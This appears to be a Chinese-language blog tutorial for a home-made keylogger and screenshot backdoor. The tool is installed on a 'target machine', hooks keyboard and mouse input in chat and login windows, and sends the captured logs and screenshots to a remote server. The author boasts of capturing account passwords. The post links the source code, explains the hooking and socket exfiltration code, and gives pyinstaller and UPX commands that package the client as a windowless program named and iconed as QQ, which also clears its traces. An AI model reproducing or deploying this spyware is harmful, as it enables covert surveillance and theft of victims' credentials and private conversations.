监控本地并将内容远程输出
新版本1.0更新版本2.0
先上结果图,由于是张我之前录制视频的截图,过程没有进行截图,所以很不详细。你大致可以理解是个后门信息传输的一个交互工具。在后面我们详细讲讲原理和其功能。
这里先把更新版本的LINUX服务端配置教程放台面,客户端IP与LINUX服务端一致。保存放入客户端
HR.exe则是我们监控键盘和鼠标的监控软件,监控好的内容都会存储在QQdata文件夹里面,QQ.exe则也会监控里面把内容实时传输给服务端。
进入MKB
分别是截屏接收images,键盘监听源码(这里是乱码一般不看),键盘监听明文Monitor_log_chinese.txt
账号密码,以及截屏,全部到手。
开发灵感以及环境
成品监控工具怎么使用
源码和成品我已经上传githubhttps://github.com/EternalNight996/KBMonitor 手动下载或命令行下载
如果在linux上git clone感到速度慢,那么可以加代理去下载。如果不加代理建议用浏览器打开上面网址,手动下载zip包后解压即可。
输入你这台服务器挂公网的域名或者IP和端口,不一定是6666主要是你开放能接受访问的端口。不能输入被占用的端口。如果输入错误的IP或域名则会直接退出窗口,这时候你需要把配置文件删除,才能重新输入配置。
如果不能打开软件则删除这个配置文件Monitor_config.txt,也可以打开手动输入保存。把文件复制起来,所有监控从客户端收到的截屏和内容都会存储在MKBimages 和MKBMonitor_log.txt里面,
开打进入到客户端无弹窗,我们先把复制好的配置文件粘贴到客户端替换。
在目标机器用管理权限打开,这里的 QQ.exe是我们的远程传输客户端。
HR.exe则是我们监控键盘和鼠标的监控软件,监控好的内容都会存储在QQdata文件夹里面,QQ.exe则也会监控里面把内容实时传输给服务端。
监控源码分析
MonitorNoWin.py
pip install pywin32
PIL 一个负责我们这个程序的截屏的模块
pip install pillow
PyHook3 是一个额外库,关于python3x以上的版本,装起来非常困难。这里的库我已经上传到我的github下载后直接执行就可以装好。
git clone https://github.com/EternalNight996/PyHook3.git
cd PyHook3
pip install PyHook3-1.6.1-cp37-cp37m-win_amd64.whl
接下来我们挑几段核心代码去理解
红线画的一条就是窗口显示的名称,如果你打开QQ或微信和哔哩哔哩。如果系统检测到你是中文系统环境则是QQ或微信 哔哩哔哩,如果英文则是wechat QQ bilibili,所以我们这个先的列表按格式添加需要监控的窗口。如果你想监控微博则添加微博,如果想监控github 或 博客,则添加即可。
如果我们再QQ聊天中换了增加了一个会话,则要么多几个字符要改变数字。这样就无法精准去判断它是不是我们需要监听,程序则会忽略些重要信息,我们这段代码,则是判断开头,如果窗口开头有含百度 或 QQ password则会加入后面判断
.
下面则是鼠标监听,由于我们设置了标题开关全局,所以当键盘识别到的窗口为列表内则打开开关,这时候鼠标左右键点击才会生效触发。global_title则是触发的关键,event.MessageName,则会记录我们用鼠标点的是左键还是右键,按下还是放开。
在我们成品的实战过程中我们知道,我们需要放在Msocket文件夹内才可以。那么下面的代码就是解释为什么需要这么做,由于这段时间过于烧脑偷懒了,有大佬可以优化下面请私聊我。
我们设置的是存储全局变量pathlist,上面存储同样的目录有两种格式,一种是open存储数据的格式,一种是dos用 os库打开的格式。
下面函数则是监控的核心,其中pythoncom.PumpMessages()则是循环进入监控,详细了解不深。但是想要退出这个循环需要讲到另一个库
下面win32api.PostQuitMessage()则是用来退出这个PumpMessages()的循环用的。
下面也是最后一部分,所有会运行的函数都会在这里面去运行。init_setting()初始化数据只执行一遍threading.Thread()这个函数是为了让程序进入多线程,为什么要多线程?简单理解,如果我们正常运行好几个不同的函数,但我们都处于一条线上,但内容越来越多就容易造成堵塞就像堵车一样。如果我们将道路分好几条线则能有效解决这种问题,其实际用途还是在socket服务端和客户端上解释。
SocketClient.py客户端分析
.
pip install gevent
这里我们看到一个注释掉的库,事实上是暂时没用。multiprocessing安装也很简单pip install multiprocessing,在socket客户端我不在使用全局变量,而是改成了导入变量,这样可以大大的提高效率和界面整洁。
在上面我们可以看到有三处都有用这个多线程去带入函数,是因为我们发送数据包到服务器。很容易出现堵塞尤其学我们传输这个图片,截屏大小是根据你电脑分辨率大小决定。
这个函数是当检测到特定目录和文件有内容,就会则是这条函数,导入绝对文件名。'rb'则是二进制读取,在我们转16进制后会显示x20x0A空格和换行类似b''前面则有个b。
我们可以看到'{}|{}|{}'其中管道是为了我们服务端收取数据包后,做分割为数组区分。把长度(刚刚计算的字符长度)和类型(txt,pic)文件名 编译十六进制gbk格式发送到服务端,这时候.recv(文本大小1024)监听,当服务端发送来OK收到了。我我们则把数据返回给上层领导去发全部包。
发完全部包后服务端会发来类型确认存储完毕"pic done"或“txt done”我们就会清理痕迹。到这里我们核心内容也就讲完了。服务端更简单
SocketWinServer.py服务端
核心代码好好理解下面代码,我们想把配置好的数据提取放入.bind我们就可以搭建服务器。这种只是微型服务器搭建的一种。
python如何打包?
pyinstaller -w -i ico/QQ.exe -D sourcecode/SocketWinClient.py
-D则是不单个文件,释放出动态链接库和各种库以及配置文件。大小约36MB非常占容量和速度,我们动态程序则可以做优化。
这时候我们就可以运行了,但我们需要优化大小。我们先把VCRUNTIME140.dll先剪切走,下面把优化软件下载好。
git clone https://github.com/EternalNight996/upx-3.96-win64.git
每次我们打包exe无论是单个exe,还是动态exe都会在当前目录输出一个配置文件格式为.spec我们可以手动修改也可以参照上次默认配置,输入刚刚下载的解压软件的目录,现在的大小就剩20MB左右,压缩减少了3/1大小。
pyinstaller --upx-dir "C:UsersAdministratorDesktopmyProjectvenvsKBMonitorupx-3.96-win64" --clean SocketWinClient.spec
这时候我们还不能正常运行,必须把刚刚的VCRUNTIME140.dll动态配置文件粘贴到刚优化的目录中。
pyinstaller -c -i ico/1.ico -D sourcecode/SocketWinServer.py
这里服务端用的是-c需要弹窗,因为我们如果不用就能直接关闭不会挂后台影响速度,还有需要看具体传输的数据。
pyinstaller --upx-dir "C:UsersAdministratorDesktopmyProjectvenvsKBMonitorupx-3.96-win64" --clean SocketWinServer.spec
把VCRUNTIME140.dll动态配置文件粘贴